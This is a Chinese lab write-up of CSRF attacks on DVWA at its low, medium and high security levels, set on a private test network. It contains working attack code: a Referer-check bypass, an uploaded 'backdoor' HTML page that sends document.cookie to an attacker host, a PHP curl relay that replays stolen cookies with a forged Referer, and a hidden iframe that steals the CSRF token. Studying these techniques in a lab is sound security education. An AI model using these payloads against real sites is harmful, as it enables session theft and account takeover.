csrf
简单概述一下csrf。csrf就是在受害者登陆一个正常的网页,然后又打开了一个攻击者精心准备的网页,因为受害者已经登陆了正常网页,所以有该网页的session凭据。精心准备的网页就可以通过链接或者form表单向正常网页发送包含恶意的请求,比如更改密码等。
实验准备:
正常访问的用户:
系统:kali
ip: 192.168.27.129
正常的页面(dvwa):
系统windows server 2008 r2
ip: 192.168.27.128
实行csrf攻击的页面:
系统:本机
ip: 192.168.27.1
low
乍一看页面,是要我们使用csrf修改密码。我们先看看正常测试密码的时候,发送的请求是什么样的。
可以看到,是使用get方式传值。那么我们可以在攻击页面写个img,让img的链接指向这个get传值的链接即可。
攻击页面代码:
重新登陆dvwa。发现密码已经成功修改。
看源码,并没有任何的安全措施。只是判断了两个密码是否一致。
medium
老样子,先正常修改密码测试一下。
发现多了一个referer的header。
百度了一下。referer是header的一部分,用来告诉服务器我是从哪个页面链接过来的。其实相当于一个标识。
方式一:
我们看看源码。
他是判断服务器的ip是否在referer里。我们从上图的包中可以看到,referer是包括文件名的(上图文件名是index.php)那么这就很简单了。我们可以将我们的攻击页面的名字修改为服务器的ip。虽然来源ip不是服务器ip。但是因为referer包括了文件名。我们的文件名又是服务器ip。所以就可以成功绕过。
修改我们的html名字为192.168.27.128.html。
访问看看
重新登陆,发现成功修改密码。
方式二:
在没有看源码之前,我的想法是,既然它发送了referer并判断referer的来源(我以为判断的是整个http://192.168.27.128/DVWA-master/vulnerabilities/csrf/)。所以我想发送数据的时候构造一个请求头,带上referer。所以我想使用php作为一个中间件,使用php的curl修改headers。但因为session的问题,所以需要一个html页面通过js获取到sessionId。但因为不同页面的问题,所以无法获取到dvwa的sessionId。所以要配合文件上传,使用两个html页面来获取sessionId。
流程图:
具体的文件代码如下:
后门页面backDoor.html(这里用的是form,为了方便演示,其实也可以改成使用ajax。更加隐蔽)
<!DOCTYPE html>
<html>
<head>
<title>Back Door</title>
<meta charset="utf-8">
</head>
<body>
<form method="post" action="http://192.168.27.1/test.php" name="fm">
<input type="hidden" name="cookie">
<input type="submit" name="">
</form>
</body>
</html>
<script type="text/javascript">
window.onload = function(){
cookie = document.cookie; //获取当前页面的cookie
fm.cookie.value = cookie
}
</script>
攻击页面 test.html
<!DOCTYPE html>
<html>
<head>
<title>
CSRF Test
</title>
<meta charset="utf-8">
</head>
<body>
</body>
</html>
<script type="text/javascript">
location.href = 'http://192.168.27.128/DVWA-master/hackable/uploads/backdoor.html' //直接重定向到后门页面
</script>
php中间件 test.php
<?php
if(isset($_POST)){
$cookie = $_POST['cookie'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://192.168.27.128/DVWA-master/vulnerabilities/csrf/?password_new=654321&password_conf=654321&Change=Change#');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //不直接输出返回数据,更隐蔽
//构建请求头
$header = [
'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Host: 192.168.27.128',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: gzip, deflate',
'Connection: close',
'Upgrade-Insecure-Requests: 1',
'Referer: http://192.168.27.128/DVWA-master/vulnerabilities/csrf/',
'Cookie: '.$cookie];
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_exec($ch);
curl_close($ch);
}
将Security调成low。上传backDoor.html后门文件。之后访问我们的攻击页面。
测试之后,点击按钮。成功执行,重新登陆,也成功的修改了密码。
high
我们先正常修改密码。截包看看。发现多了一个token
我的想法是,再medium的方式二的基础上,在后门页面上加多一个iframe。把正常的页面抓过来。再通过js把toke过来即可。
后门页面:test.html
<!DOCTYPE html>
<html>
<head>
<title>
CSRF Test
</title>
<meta charset="utf-8">
</head>
<body>
<iframe id="ifr" src="http://192.168.27.128/DVWA-master/vulnerabilities/csrf/" onload=attack() style="display: none"></iframe>
<form method="post" action="http://192.168.27.1/test.php">
<input type="hidden" id="user_token" name="user_token">
<input type="hidden" id="cookie" name="cookie">
<input type="submit" name="">
</form>
</body>
</html>
<script type="text/javascript">
function attack(){
ifr = document.getElementById('ifr').contentWindow;
token = ifr.document.getElementsByName('user_token')[0].value;
cookie = ifr.document.cookie;
document.getElementById('user_token').value = token
document.getElementById('cookie').value = cookie
}
</script>
php中间件test.php:
<?php
if(isset($_POST)){
$cookie = $_POST['cookie'];
$token = $_POST['user_token'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://192.168.27.128/DVWA-master/vulnerabilities/csrf/?password_new=654321&password_conf=654321&user_token='.$token.'&Change=Change#');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$header = [
'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Host: 192.168.27.128',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: gzip, deflate',
'Connection: close',
'Upgrade-Insecure-Requests: 1',
'Referer: http://192.168.27.128/DVWA-master/vulnerabilities/csrf/',
'Cookie: '.$cookie];
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_exec($ch);
curl_close($ch);
}
csrf跳转页面csrf.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
</body>
</html>
<script type="text/javascript">
window.onload = function(){
location.href = 'http://192.168.27.128/DVWA-master/hackable/uploads/test.html'
}
</script>
实验可得,成功修改密码。
impossible
我们直接看页面,就可以看到,它要修改密码,就必须要输入原密码,这样子如果不知道原密码就无法修改了。